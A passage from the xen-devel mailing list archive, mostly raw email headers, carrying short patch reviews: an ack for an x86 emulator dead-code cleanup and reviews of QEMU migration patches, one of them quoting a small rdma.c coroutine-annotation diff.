	67o1zHhBKPnC7Qq+NuDRnvOyGVUrtO3//suU1cGen/fsWOQD/qho0BZlPrDc5YGVaojpcNhiQM7wwZMun5ka5Db25zYqCTReeSOXTr9PixUFzGa03qHyrrC8LGxf46g4gLViM/Cd7SCFQo2tpGvdrwswjRaTLbFVe+Dce6B+RxvyUXepVJbPaUrpb5DzabZ+yMFHgdWeCYAUYnO3g13Kf6AyiV0nd+JspfkvuA4vWDDjRkeqzgVZAVxqb+V4vmGIWCaZlYshlDCASjBwu39UrcOMuz+3QcNFyntsVbLKU2c+gs9RuGEsODWgotPWGQEtLIYHt291/BskSwXl3XeXaLkKIgWQ6eiXObhHlIhtHxQ0D9mZ+VYz1NbJfSxfett4fTdfxKJIQLYJPkJWvY+uC7Ga67d7VhKJRenStxsQifjvIR1RVtPD7PJaG4b4IATJm/BlW9I96apAxFmStYhFDNMc82qgIR1HQzDmYHWRTvso/xCI0/BPcC2ttuZOA+TRNQcUFYCaTwmR/qvcEn2+TkgY7wXt9BAQzIffk7rrddWw0DYfEf5vksHlZ0inSr1lxAZivY980NXBH7KgeWlCZhdQmff5GvYS9mOSej+JFNR6++WQgxJJUjJ5+rAtVyNz5gaMFw/snDcMZ/gCuX/AITPEAoIGL2Ckra7rztKwSjo=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(376014)(1800799024)(366016)(11063799006)(56012099006)(10067099003)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?L0R6VXh3NmR3dk1yY1BMY0hXY0Ric2RvL3JZTCsrNktFMlJxbmNQUDY3aFVB?=
 =?utf-8?B?bDZTR21mR293ZWhQMjc1S21PZFZUbnZvbTRJTWNsbC96OU1KN0hUUStxZ1pX?=
 =?utf-8?B?ZzROSUVyaTVZdGdOOEU1SUJvaTZ3Mm16ZnhsQ1BiRDYyY3c1SGVweDNjQWov?=
 =?utf-8?B?TXNJR05qbGJGVFA2OWVMT3hUd29PM1U5Y2gzY2twUko3TGw1d1VsOXovc3dv?=
 =?utf-8?B?R1UrcEd6S2o3ZWZ3W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-8?B?WkdBTmtTZ05meVVpRFAwdTNqTUJQMXhqWld1VDNqOGRxekk1QWFUQVpaL1M0?=
 =?utf-8?B?bGRyNm5HeXhHbEpNcXJySFpxblZnM0U2QkZxVzNUZDgvVFMyNnBjQWd5b3Iw?=
 =?utf-8?B?RGRNejdIS0c5K0ZMT3dQUTFlZUMvMi9OWURNbEVYWjBYSC92LzJ3RzRkbHlH?=
 =?utf-8?B?RGZ3aXlRekhzbWVKeHU4V0hqT1VWTkM1MUFqV28vMDJzbTRZdWVZdVMwTWxI?=
 =?utf-8?B?M0FESDdWRENnMEx2aGtQWUZKeEp1L09lWERvSTZVTm5sK3VUSmJxZjVWWG5M?=
 =?utf-8?B?NjNiMDk0WWJlOVFSbXBkbHhpNDVoQmE4ZEtBU1puMCtnUlpuS3VMajhwS0sx?=
 =?utf-8?Q?bT8Js8XebR9XeqOU=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: ab3f0959-1c56-4d78-a1f9-08dee6682326
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 14:06:47.4870
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: ybP56D9GpjbqVrSayrJJyG8XKcI0lepk2/WW17PG2lFyB9dq185YrmU4b51EhYtdS5HcKgru2kZG//0wkDRzLM8BrRCRknMta2BXY9ljyJk=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS1PR03MB7847
X-purgate-ID: tlsNG-4011c0/1784556412-5A9D9CFC-166F70ED/0/0
X-purgate-type: clean
X-purgate-size: 528

On 30/06/2026 2:29 pm, Jan Beulich wrote:
> We know that opcode_table[0x0f] is 0, there's no need to check that. Up
> until ab082ffa87d5 ("x86emul: generate and make use of a canonical opcode
> representation") or maybe already c4e7a67e3a10 ("x86emul: drop
> SrcInvalid") this may have been justified, but it no longer is.
>
> This eliminates a Misra C:2012 rule 2.2 ("There shall be no dead code")
> violation.
>
> Signed-off-by: Jan Beulich <jbeulich@suse.com>

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:09:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:09:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366599.1616532 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlogS-0003cF-8W; Mon, 20 Jul 2026 14:09:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366599.1616532; Mon, 20 Jul 2026 14:09:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlogS-0003c8-5d; Mon, 20 Jul 2026 14:09:28 +0000
Received: by outflank-mailman (input) for mailman id 1366599;
 Mon, 20 Jul 2026 14:09:26 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <peterx@redhat.com>) id 1wlogQ-0003c2-Si
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:09:26 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlogP-00Bzk1-Oy
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:09:25 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <peterx@redhat.com>)
 id 6a5e2c04-e002-0a2a0a5209dd-0a2a4508a696-38
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:09:25 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <peterx@redhat.com>)
 id 6a5e2c14-f659-0a2a45080019-aa0a857cb72f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:09:25 +0200
Received: from mail-qk1-f197.google.com (mail-qk1-f197.google.com
 [209.85.222.197]) by relay.mimecast.com with ESMTP with STARTTLS
 (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id
 us-mta-494-k1yeNmwjOSqxxUt9VpP_vA-1; Mon, 20 Jul 2026 10:09:20 -0400
Received: by mail-qk1-f197.google.com with SMTP id
 af79cd13be357-92e5fc4c7e9so861104285a.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:09:20 -0700 (PDT)
Received: from x1.local ([174.91.117.74]) by smtp.gmail.com with ESMTPSA id
 af79cd13be357-930b52dd4fasm875197485a.4.2026.07.20.07.09.17
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 07:09:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784556564;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=u3IRo2FfwSRH3SmDYXoFL3FfZdxPQ3jnnPGCl1NtgQQ=;
	b=EwFo9sSY+m39DKwu4F4d+L8aeglgO6T4vydUDjIkBZStRyBRABoLwS/h/G186G/Id55W+B
	ck1gRwUXWlNTAPO9AQXBdMoOt9PdWrZfWRXpwrecHj0ofIO4CWtmq2q5Jiw3YraWsBekVf
	5k8Qedg1ew1pDXzMuswxBXUoQJ5kbnY=
X-MC-Unique: k1yeNmwjOSqxxUt9VpP_vA-1
X-Mimecast-MFC-AGG-ID: k1yeNmwjOSqxxUt9VpP_vA_1784556559
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784556559; x=1785161359;
        h=in-reply-to:content-transfer-encoding:content-disposition
         :content-type:mime-version:references:message-id:subject:cc:to:from
         :date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=u3IRo2FfwSRH3SmDYXoFL3FfZdxPQ3jnnPGCl1NtgQQ=;
        b=GSGcQcaqzEx5lJGE/fkBCRtet0V8sWDta2sPTB89SLULGwF9h6LBervNVpnsoM0hs4
         d3QekeGdaxHCl+a564+7yUvFlYb+n9reyeyiB5kaSfgpAQCAm8RVz+2IDIBPLcv2BVb1
         PpebD49y1aKI9c3AKR8j2oYOOk6YmxkNEv5WrRuz0R22W85ZpGTHCe9tH4TCVN7TVDxx
         KfAkEGKzEbSxEQ0x7eH6ufVLUKjmjtfgxCRj4bqcJyqLjtCulyAHDetQOZwJiDKcblGC
         UYYmugZ7MyMlqHvjgMHxi89WlZHVLIyKDVEX7kBBYUim0QN6W3mYb+Taf+xNGBHn7LpA
         ppag==
X-Forwarded-Encrypted: i=1; AHgh+RoAGZpNMfe1EmYdP2G2GOyVP3Yak3PmhR8JXPigOIY2KLlodbzEIxdb6XClON47ZKHs55Gk6KcSmHM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw21L8Qtvbdy5R/4vNckESdi23VK9GE+Mld7LJa8VuHwgFpVqhm
	+34OpkiZVuIpsANqVk6mAaqsHuVTpO0yzQQru14qi3yvvIOuzgfX0nSBn4LuyhVsmWZi68wdddO
	WDPRhuXakUaYqG0eo0rIyOAYY7vwoDZppWzwBTHgXjkzu8bCGLcwvhpwCIHGe6jYGjAGj
X-Gm-Gg: AfdE7ckCvVbMnVT8hHGnxwfscbXiu/yGuco7KQiRAiVpJm/yB3fnxXppKZLpmQY/B0f
	R5j74IMuI10/kbsCbff75PJ44wlDgPEo1oqSJbizE/Gh0iSTmr3G/1Wo+iOITtwTFd5JWKiQnpR
	ueAq2s359JdMIiRieO/6r6q3P34z1BepQT4UWwEPUo+8iDAmLovyACX275XpqvtLg02u1wlNZjE
	vKdWDUFRNoiJgiYWQS3ITTN3OsEKi7ckyyCEtJpbLH4+HyzKHbCWzluzVixs1ke96Ky0AuGO/T0
	unbpdXK2dHRmrmXpWwCuG6p9Yt8dLAGr1fydQ0MVctJeq7GonOlqNc+yOgwMChPkG2T4
X-Received: by 2002:a05:620a:6cc2:b0:915:83fa:b3e0 with SMTP id af79cd13be357-930b3e4919fmr1369859785a.5.1784556559096;
        Mon, 20 Jul 2026 07:09:19 -0700 (PDT)
X-Received: by 2002:a05:620a:6cc2:b0:915:83fa:b3e0 with SMTP id af79cd13be357-930b3e4919fmr1369851885a.5.1784556558528;
        Mon, 20 Jul 2026 07:09:18 -0700 (PDT)
Date: Mon, 20 Jul 2026 10:09:13 -0400
From: Peter Xu <peterx@redhat.com>
To: =?utf-8?Q?Marc-Andr=C3=A9?= Lureau <marcandre.lureau@redhat.com>
Cc: qemu-devel@nongnu.org, Markus Armbruster <armbru@redhat.com>,
	Fabiano Rosas <farosas@suse.de>,
	Daniel =?utf-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>,
	John Snow <jsnow@redhat.com>,
	Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
	qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
	Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
	Christian Schoenebeck <qemu_oss@crudebyte.com>,
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject: Re: [PATCH 2/8] migration: fix qemu_get_counted_string annotation
Message-ID: <al4sCVxUxqrtmLjd@x1.local>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-2-fabb4db3c204@redhat.com>
MIME-Version: 1.0
In-Reply-To: <20260720-co-v1-2-fabb4db3c204@redhat.com>
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: 7CApyeYNLTsHXpAcVSB8QXWAEI2ltXxC2bF8rzYHmyc_1784556559
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1784556565-CFED287B-4288AD98/0/0
X-purgate-type: clean
X-purgate-size: 275

On Mon, Jul 20, 2026 at 11:55:31AM +0400, Marc-AndrÃ© Lureau wrote:
> Fixes: 394b9407e4c ("migration: mark mixed functions that can suspend")
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>

Reviewed-by: Peter Xu <peterx@redhat.com>

-- 
Peter Xu



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:13:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:13:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366609.1616543 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlok5-00058W-Oo; Mon, 20 Jul 2026 14:13:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366609.1616543; Mon, 20 Jul 2026 14:13:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlok5-00058O-Km; Mon, 20 Jul 2026 14:13:13 +0000
Received: by outflank-mailman (input) for mailman id 1366609;
 Mon, 20 Jul 2026 14:13:13 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <peterx@redhat.com>) id 1wlok5-00058G-03
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:13:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlok4-00APE2-9j
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:13:12 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <peterx@redhat.com>)
 id 6a5e2ce8-2eae-0a2a0a5409dd-0a2a450ae284-34
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:13:12 +0200
Received: from [170.10.129.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <peterx@redhat.com>)
 id 6a5e2cf6-f2d2-0a2a450a0019-aa0a817ceca9-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:13:11 +0200
Received: from mail-qk1-f198.google.com (mail-qk1-f198.google.com
 [209.85.222.198]) by relay.mimecast.com with ESMTP with STARTTLS
 (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id
 us-mta-457-05t8-7j2Ne62qo781CGlFw-1; Mon, 20 Jul 2026 10:13:09 -0400
Received: by mail-qk1-f198.google.com with SMTP id
 af79cd13be357-92e5fc4c7e9so861737785a.3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 07:13:09 -0700 (PDT)
Received: from x1.local ([174.91.117.74]) by smtp.gmail.com with ESMTPSA id
 6a1803df08f44-9077856348esm91631706d6.12.2026.07.20.07.13.06
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 20 Jul 2026 07:13:07 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784556790;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=amn6kDIT0WP5ybt8VbJ5VW8vOOWsBH/TSBn2QO9H038=;
	b=GvIrEnx6zPicgD/bU3WPKbv5fwowcvL4VqsZ7zo0hCJaqmE62BvE3BsiroeD45S4m6MMTs
	R/g1XXqXSBKcQb04EzbEw6gVtRVz2hDwS34ntn590AVr1m0LEyMiiDVaIynreLVn81mepf
	XfQkxgtV4Q6d6YpCMxN+J/ZF/5JW/z0=
X-MC-Unique: 05t8-7j2Ne62qo781CGlFw-1
X-Mimecast-MFC-AGG-ID: 05t8-7j2Ne62qo781CGlFw_1784556789
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784556789; x=1785161589;
        h=in-reply-to:content-transfer-encoding:content-disposition
         :content-type:mime-version:references:message-id:subject:cc:to:from
         :date:x-gm-gg:x-gm-message-state:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=amn6kDIT0WP5ybt8VbJ5VW8vOOWsBH/TSBn2QO9H038=;
        b=szTCdvZlVn6zp0zpiFuLeSpwXl8c4CXiIFOcXFpKoFwE9dnbQz5NT3Mwb1LTT7WvAE
         KNt21lcwQl9MfXj75+egPbcx9w1jtNnaHry1ZR9yJPUvUhEKvQ49fqfHiGOB59y3E8ez
         PqOf9iqPIOcduAfBhbvoGIuTrm843mhk1YbOsGvnDxeDsz4YfG5miouKKAwgspc/nlFT
         PLOVq5ulqSPh70k9Gr/KcUvVQi2gy2bbiJqWx477/3/DKHvSz8FL2wOKt5y7k9S+ILUE
         ZY/GqO1ObvZzZ8PIim3ynsoRgoydWpIUDAVaKpyFkegj7uL3W/uHOICRB7fNKyx+DTJb
         OH/Q==
X-Forwarded-Encrypted: i=1; AHgh+RpfyTWQO+gUZ++iFnHnc8Vj+arli2nXu72pzBaDpy11MCCNJGqf+ZIDzE8scgYAEFqbuS0tE5CQpzc=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyHPZlaf0oFfM1PhyLSi/MylKHEqQLyk5UgZXTSi08LnFYrPbr8
	An8p1jp7ERtAn/Iu8MOG7tI23kQlA7tXFG/HsGFE2WogdQOMp6xJ7YY4A3aCBmuOhcSfYR+ynrz
	1T0pxknXhKdFn4F3OfWjS6k8CD1ZBP8nRXoGmkXUYJo155jnj2IQ6Zpha4UJ6ZB47U//5
X-Gm-Gg: AfdE7clcJjJFo6aBnxJm2nz++Z+ObexUCcz3bWhl0BDJ0RIl+AA372b32E3QwFk3bTz
	5g0MBDaCilyPX8GioV2Y47thiYLw1JBEFNjvUxklHvKx+qxXyqHdZY2KlMEfgKRE+uuuKwnkvpI
	BkVuCXiU+PJS/LVMnVcFOZSWwDs48dUI/o1KuQWyx5H4Snk8WGbYHu2lPtwj0HfRlgqX621PKOV
	cfFbRA6hVypseynSNef55lJud6cEpQyFSiq8ZqDLdEtgJYCpKPvnG7ARwIfR+wE/giQ3Wi6H5TB
	bI/oP83XfLy+6bxQXBUreCgiS4OwMCj6KONfkqB55TSWtk5OZEbraN2HUSdE51Oc/UxH
X-Received: by 2002:a05:620a:3708:b0:92e:e695:d622 with SMTP id af79cd13be357-930b3ea8f77mr1401551085a.28.1784556788500;
        Mon, 20 Jul 2026 07:13:08 -0700 (PDT)
X-Received: by 2002:a05:620a:3708:b0:92e:e695:d622 with SMTP id af79cd13be357-930b3ea8f77mr1401540785a.28.1784556787735;
        Mon, 20 Jul 2026 07:13:07 -0700 (PDT)
Date: Mon, 20 Jul 2026 10:13:03 -0400
From: Peter Xu <peterx@redhat.com>
To: =?utf-8?Q?Marc-Andr=C3=A9?= Lureau <marcandre.lureau@redhat.com>
Cc: qemu-devel@nongnu.org, Markus Armbruster <armbru@redhat.com>,
	Fabiano Rosas <farosas@suse.de>,
	Daniel =?utf-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>,
	John Snow <jsnow@redhat.com>,
	Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
	qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
	Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
	Christian Schoenebeck <qemu_oss@crudebyte.com>,
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Anthony PERARD <anthony@xenproject.org>,
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject: Re: [PATCH 8/8] migration/rdma: annotate and simplify
 wait_comp_channel()
Message-ID: <al4s77A0rlX0_PQc@x1.local>
References: <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <20260720-co-v1-8-fabb4db3c204@redhat.com>
MIME-Version: 1.0
In-Reply-To: <20260720-co-v1-8-fabb4db3c204@redhat.com>
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: hWfficTBn7VC-TwQuYoGJNwgrJUzI6kEjPSBn-YUv4Q_1784556789
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1784556792-516C6CFC-58CB6993/0/0
X-purgate-type: clean
X-purgate-size: 2121

On Mon, Jul 20, 2026 at 11:55:37AM +0400, Marc-AndrÃ© Lureau wrote:
> The function calls yield_until_fd_readable() (coroutine_fn) when in
> coroutine context, and polls with qemu_poll_ns() otherwise.
> 
> Replace the migration-state proxy check with qemu_in_coroutine(),
> which directly tests what matters.
> 
> Fixes: 2da776db4846 ("rdma: core logic")
> Signed-off-by: Marc-AndrÃ© Lureau <marcandre.lureau@redhat.com>

Reviewed-by: Peter Xu <peterx@redhat.com>

Just to say we can also drop the var.  I have a patch did it already but I
didn't get chance to revisit the series:

https://lore.kernel.org/qemu-devel/20251022192612.2737648-5-peterx@redhat.com/

So we can also pick that single patch up, then this patch can be
annotation-only.  I'll leave it to you.

Thanks,

> ---
>  migration/rdma.c | 12 ++++--------
>  1 file changed, 4 insertions(+), 8 deletions(-)
> 
> diff --git a/migration/rdma.c b/migration/rdma.c
> index 3e37a1d4401..438419d1894 100644
> --- a/migration/rdma.c
> +++ b/migration/rdma.c
> @@ -1348,17 +1348,13 @@ static int qemu_rdma_poll(RDMAContext *rdma, struct ibv_cq *cq,
>  /* Wait for activity on the completion channel.
>   * Returns 0 on success, none-0 on error.
>   */
> -static int qemu_rdma_wait_comp_channel(RDMAContext *rdma,
> -                                       struct ibv_comp_channel *comp_channel)
> +static int coroutine_mixed_fn
> +qemu_rdma_wait_comp_channel(RDMAContext *rdma,
> +                            struct ibv_comp_channel *comp_channel)
>  {
>      struct rdma_cm_event *cm_event;
>  
> -    /*
> -     * Coroutine doesn't start until migration_fd_process_incoming()
> -     * so don't yield unless we know we're running inside of a coroutine.
> -     */
> -    if (rdma->migration_started_on_destination &&
> -        migration_incoming_get_current()->state == MIGRATION_STATUS_ACTIVE) {
> +    if (qemu_in_coroutine()) {
>          yield_until_fd_readable(comp_channel->fd);
>      } else {
>          /* This is the source side, we're in a separate thread
> 
> -- 
> 2.55.0
> 

-- 
Peter Xu



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 14:19:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 14:19:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366617.1616551 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloq6-0005gX-B5; Mon, 20 Jul 2026 14:19:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366617.1616551; Mon, 20 Jul 2026 14:19:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wloq6-0005gQ-8S; Mon, 20 Jul 2026 14:19:26 +0000
Received: by outflank-mailman (input) for mailman id 1366617;
 Mon, 20 Jul 2026 14:19:25 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wloq5-0005gI-1v
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 14:19:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wloq4-006vRc-9r
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:19:24 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5e2e63-e002-0a2a0a5209dd-0a2a4503b84a-18
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:19:24 +0200
Received: from [52.101.193.46]
 (helo=CH1PR05CU001.outbound.protection.outlook.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a5e2e6a-fae8-0a2a45030019-3465c12e8f5b-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 16:19:24 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CY2PR03MB192490.namprd03.prod.outlook.com (2603:10b6:930:114::13)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 14:19:21 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 14:19:21 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
